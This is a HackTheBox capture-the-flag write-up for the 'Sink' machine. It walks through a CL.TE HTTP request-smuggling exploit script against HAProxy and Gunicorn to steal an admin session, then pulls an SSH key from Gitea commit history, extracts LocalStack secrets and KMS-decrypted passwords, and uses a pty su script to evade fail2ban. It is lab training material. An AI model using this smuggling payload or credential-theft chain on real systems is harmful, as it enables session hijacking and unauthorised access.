HTB: Sink Writeup
Sink - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Sink |
| OS | Linux |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.65.220 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Sink chains an HTTP request smuggling flaw in a HAProxy/Gunicorn stack to hijack an administrator session, pivots that access into a self-hosted Gitea instance whose commit history leaks an SSH private key, and then walks through a full simulated AWS environment (LocalStack) — SecretsManager, and finally KMS decryption of an encrypted deployment archive — to reach root. Nothing here is a single memorable exploit; it’s a realistic, multi-stage internal-network compromise where each service only reveals the next pivot after the previous one is fully enumerated.
TL;DR: CL.TE request smuggling on port 5000 (obfuscated Transfer-Encoding) leaks the admin session cookie → admin notes disclose Gitea credentials (root:FaH@3L>Z3})zzfQ3) → an archived Gitea repo’s commit history leaks marcus’s SSH private key → user flag → LocalStack on :4566 exposes a Jira Support secret reused as david’s SSH password → su david → LocalStack KMS decrypts servers.enc into a servers.yml with the root password → su root.
Reconnaissance
Port Scanning
nmap -Pn -p- --min-rate=2000 -T4 10.129.65.220Results:
22/tcp— OpenSSH3000/tcp— Gitea (self-hosted Git service)5000/tcp— Flask application behind Gunicorn, fronted by HAProxy
Service Enumeration
Probing port 5000 directly showed a login/registration application:
curl -s -i http://10.129.65.220:5000/ | head -40Response headers exposed the stack: gunicorn 20.0.0 as the application server, with a Via: haproxy header indicating a reverse proxy in front of it. Registering an account was straightforward:
curl -s -i -X POST http://10.129.65.220:5000/ \ -d 'username=pwn1&email=pwn1@sink.htb&password=Passw0rd123'Logging in as pwn1 revealed a /home page with an administrator-authored post and comment/notes functionality — both classic request-smuggling capture points, since an authenticated admin is presumably interacting with those same endpoints.
Vulnerability Assessment
- Gunicorn 20.0.0 is documented as vulnerable to chunked-encoding request smuggling — support for safe chunked parsing was only fixed in 20.0.1.
- HAProxy in front of it prefers
Content-Lengthwhen aTransfer-Encodingheader is malformed/obfuscated (e.g. containing a stray control character), while Gunicorn on the backend still honorsTransfer-Encoding. - That disagreement between front-end (
Content-Length) and back-end (Transfer-Encoding) parsing is the textbook precondition for a CL.TE desync (Portswigger’s “HTTP Desync Attacks” research), letting a smuggled request get spliced into another user’s connection.
Initial Foothold
Exploitation Path
Step 1 — Build the desync request.
The trick is smuggling a second request body behind an obfuscated Transfer-Encoding header so HAProxy treats the whole thing as one Content-Length-bounded request, while Gunicorn re-parses it as chunked and stops at the embedded 0 chunk-terminator — leaving the tail (a smuggled POST /comment) sitting in the connection buffer waiting to be prepended to the next legitimate request that arrives on that backend connection:
import socket, sys, time
HOST = "10.129.65.220"; PORT = 5000COOKIE = sys.argv[1]SMUG_CL = int(sys.argv[2]) if len(sys.argv) > 2 else 300
# Smuggled request queued behind the chunk terminator -- this is what gets# glued onto the next unrelated request that hits the same backend connection.smug = ( f"POST /comment HTTP/1.1\r\n" f"Host: 10.129.65.220:5000\r\n" f"Cookie: {COOKIE}\r\n" f"Content-Type: application/x-www-form-urlencoded\r\n" f"Content-Length: {SMUG_CL}\r\n\r\n" f"msg=")
body = f"8\r\nmsg=test\r\n0\r\n\r\n" + smug
req = ( f"POST /comment HTTP/1.1\r\n" f"Host: 10.129.65.220:5000\r\n" f"Content-Type: application/x-www-form-urlencoded\r\n" f"Content-Length: {len(body)}\r\n" # Obfuscated Transfer-Encoding: HAProxy 1.9.x fails to reject the # malformed header and falls back to Content-Length, while Gunicorn # still parses it as valid chunked encoding -- the CL/TE split. f"Transfer-Encoding: \x0bchunked\r\n" f"Connection: keep-alive\r\n\r\n") + body
s = socket.create_connection((HOST, PORT))s.sendall(req.encode())time.sleep(1)print(s.recv(65536).decode(errors="replace"))Step 2 — Fire it and let the admin’s next request get captured.
Gunicorn honors the Transfer-Encoding framing, closes the first logical request at the 0 chunk terminator, and buffers the smuggled POST /comment ... Content-Length: 300 fragment waiting for more body bytes. When the site’s own background/admin activity (an internal GET /notes/delete/1234 request) lands on that same backend connection next, its raw bytes get appended as the “body” of the smuggled comment POST — meaning the admin’s session cookie and request line get stored verbatim as a comment.
Step 3 — Read it back as a comment and steal the session.
curl -s -b 'session=<my_own_session>' http://10.129.65.220:5000/home | grep -A3 commentThe leaked comment contained the admin’s full session cookie value. Swapping it into the browser/curl -b immediately authenticated as admin@sink.htb:
curl -s -b 'session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0...' \ http://10.129.65.220:5000/notesStep 4 — Loot the admin’s notes.
The admin’s notes disclosed Gitea credentials:
root : FaH@3L>Z3})zzfQ3Step 5 — Enumerate Gitea and find the leak.
curl -s -u 'root:FaH@3L>Z3})zzfQ3' \ 'http://10.129.65.220:3000/api/v1/repos/search?limit=50'One repository, root/Key_Management, was archived. Walking its commit history via the API:
curl -s -u 'root:FaH@3L>Z3})zzfQ3' \ 'http://10.129.65.220:3000/api/v1/repos/root/Key_Management/commits?limit=50&stat=false'Commit b01a6b7ed372 stood out — alongside a routine key-management change it also added a .keys/dev_keys path. This is the classic “accidental secret in commit history” pattern: a file removed in a later commit is still fully recoverable from git objects.
Step 6 — Pull the key without cloning (disk-space workaround).
The jump host’s disk was at ~84% and git clone of the Gitea repos failed with “No space left on device”. Also, Gitea’s raw/<path>?ref= convenience endpoint 404s on paths under dotfile directories like .keys/. The fix was to walk the Git Data API directly:
# List the tree at that commit to find the blob SHA for .keys/dev_keyscurl -s -u 'root:FaH@3L>Z3})zzfQ3' \ 'http://10.129.65.220:3000/api/v1/repos/root/Key_Management/git/trees/b01a6b7ed372?recursive=true'
# Fetch the blob directly by SHA -- bypasses the raw/ endpoint's dotfile-path bugcurl -s -u 'root:FaH@3L>Z3})zzfQ3' \ 'http://10.129.65.220:3000/api/v1/repos/root/Key_Management/git/blobs/a9acff41ed3f2884981d7e4edf6...'The blob content, base64-decoded, was marcus’s SSH private key.
Step 7 — SSH in as marcus.
scp -P 22 marcus_key <jump>:/tmp/mkssh -i /tmp/mk -o StrictHostKeyChecking=no marcus@10.129.65.220 'cat user.txt'User Flag: <redacted>Privilege Escalation
david (via LocalStack SecretsManager)
Poking around marcus’s environment revealed awslocal/aws CLI tooling pointed at a local endpoint — this box runs LocalStack, a local AWS-service emulator, on port 4566. That immediately turns AWS service enumeration into a legitimate recon path:
ssh -i /tmp/mk marcus@10.129.65.220 \ 'awslocal secretsmanager list-secrets'Among the returned secrets was Jira Support:
ssh -i /tmp/mk marcus@10.129.65.220 \ "awslocal secretsmanager get-secret-value --secret-id 'Jira Support'"This returned credentials for david@sink.htb. Password reuse meant the same credential worked for david’s local Unix account:
david@sink.htb : EALB=bcC=`a7f2#kfail2ban deviation: direct sshpass attempts against david’s SSH login triggered fail2ban on the target — the jump host got banned and port 22 briefly went filtered (~7 minutes). Rather than waste that window retrying, escalation was driven instead through a pty-spawned su from the already-authenticated marcus session:
# /tmp/su.py -- drive an interactive su over a pty so a password prompt# can be answered non-interactively without touching sshd at allimport pty, os, sys, time, selectuser = sys.argv[1]; pw = sys.argv[2]; cmd = sys.argv[3]pid, fd = pty.fork()if pid == 0: os.execvp("su", ["su", "-", user, "-c", cmd]) os._exit(1)time.sleep(0.5)os.write(fd, (pw + "\n").encode())# ... read back fd until EOF ...This avoided SSH entirely for david’s authentication, sidestepping the fail2ban trigger.
root (via LocalStack KMS)
David’s home directory contained a Projects/Prod_Deployment/servers.enc file — binary, not immediately readable with file/xxd. Given the KMS tooling already present on the box, this pointed at KMS-encrypted data.
Step 1 — Enumerate KMS keys and find the usable one.
awslocal kms list-keysTwo keys were in an enabled state. Checking their usage:
awslocal kms describe-key --key-id 804125db-...One key (804125db-...) was configured for ENCRYPT_DECRYPT with RSAES_OAEP_SHA_256 listed as a supported algorithm.
Step 2 — Decrypt.
awslocal kms decrypt \ --key-id 804125db-... \ --ciphertext-blob fileb://servers.enc \ --encryption-algorithm RSAES_OAEP_SHA_256 \ --output textThe output was base64 text. Decoding it revealed a gzip-compressed tar archive:
# base64 -> gzip -> tar, chainedecho -n '<kms output>' | base64 -d | gunzip | tar -xf -Unpacking produced servers.yml, containing:
defaultuser: name: admin pass: _uezduQ!EY5AHfe2Step 3 — Escalate to root.
su root# password: _uezduQ!EY5AHfe2Root Flag: <redacted>Attack Chain Summary
Nmap recon (22/3000/5000) │ ▼Register on Flask app (:5000) behind HAProxy + Gunicorn 20.0.0 │ ▼CL.TE HTTP request smuggling (obfuscated Transfer-Encoding: \x0bchunked) │ smuggled POST /comment captures the admin's next │ internal request (GET /notes/delete/1234) ▼Admin session cookie leaked via comments feature → authenticate as admin │ ▼Admin notes → Gitea credentials (root : FaH@3L>Z3})zzfQ3) │ ▼Archived Gitea repo root/Key_Management, commit b01a6b7ed372 │ .keys/dev_keys pulled via Git Data API (git/trees + git/blobs) ▼marcus's SSH private key → SSH foothold → user.txt │ ▼LocalStack (:4566) → awslocal secretsmanager get-secret-value 'Jira Support' │ password reuse ▼su david │ ▼LocalStack KMS → awslocal kms decrypt servers.enc (RSAES_OAEP_SHA_256) │ base64 → gzip → tar → servers.yml ▼su root → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
curl | HTTP interaction with the Flask app and Gitea API |
Custom Python socket script (desync.py) | Raw TCP construction of the CL.TE smuggling request |
Gitea REST API (git/trees, git/blobs) | Recovering a leaked SSH key from commit history without cloning |
ssh / scp | Foothold access and file transfer |
awslocal (LocalStack CLI) | Enumerating SecretsManager and KMS on the simulated AWS stack |
Custom pty-driven su script | Escalation to david, bypassing fail2ban on password SSH auth |
base64 / gunzip / tar | Unpacking the KMS-decrypted deployment archive |
Key Learnings
Techniques Practiced
- Constructing a raw CL.TE HTTP request smuggling payload against a HAProxy/Gunicorn stack
- Obfuscating the
Transfer-Encodingheader to exploit a front-end/back-end parser disagreement - Hijacking another user’s session by capturing their in-flight request as stored content
- Recovering secrets from Git history via the low-level Data API (trees/blobs) instead of
git clone, including working around a raw-endpoint bug on dotfile paths - Enumerating a simulated AWS environment (LocalStack) — SecretsManager and KMS — as a genuine internal attack surface
- Driving
suover aptyprogrammatically to avoid an SSH-layer defense (fail2ban) entirely
Lessons Learned
- Front-end/back-end parser disagreements are still exploitable in 2026-realistic stacks. Any time a reverse proxy and an application server disagree on how to frame request boundaries (
Content-LengthvsTransfer-Encoding), request smuggling is on the table — always check server/proxy version banners against known desync advisories. - Archived repositories are not gone — they’re just hidden from casual browsing. Full commit history, including files later removed, remains fully queryable via the Git Data API even without a working
git clone. - When disk space runs out, drop to the API.
git clonefailing doesn’t mean the data is unreachable — Gitea’s tree/blob endpoints can reconstruct any file at any commit with a couple ofcurlcalls. - LocalStack turns “cloud enumeration” into a real, on-box privilege escalation path. Treat
awslocal/awsCLI presence as a strong signal to enumerate every emulated service (logs, secrets, KMS) rather than dismissing it as a dev artifact. - Defensive controls can force a change of technique, not just a delay. fail2ban blocking password SSH auth was worked around entirely by scripting
suover an existing authenticated session’s pty — a reminder that a single hardened auth path doesn’t secure every route to the same privilege level.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- MrR3boot, Sink — official HackTheBox writeup (Document No. D21.100.131), used for CVE/technique context on the HAProxy 1.9.10 / Gunicorn 20.0.0 CL.TE request smuggling vulnerability, the LocalStack SecretsManager/KMS AWS service chain, and the general privilege-escalation narrative structure. All IPs, credentials, commit hashes, and command output shown above are from this engagement’s own live run against
10.129.65.220.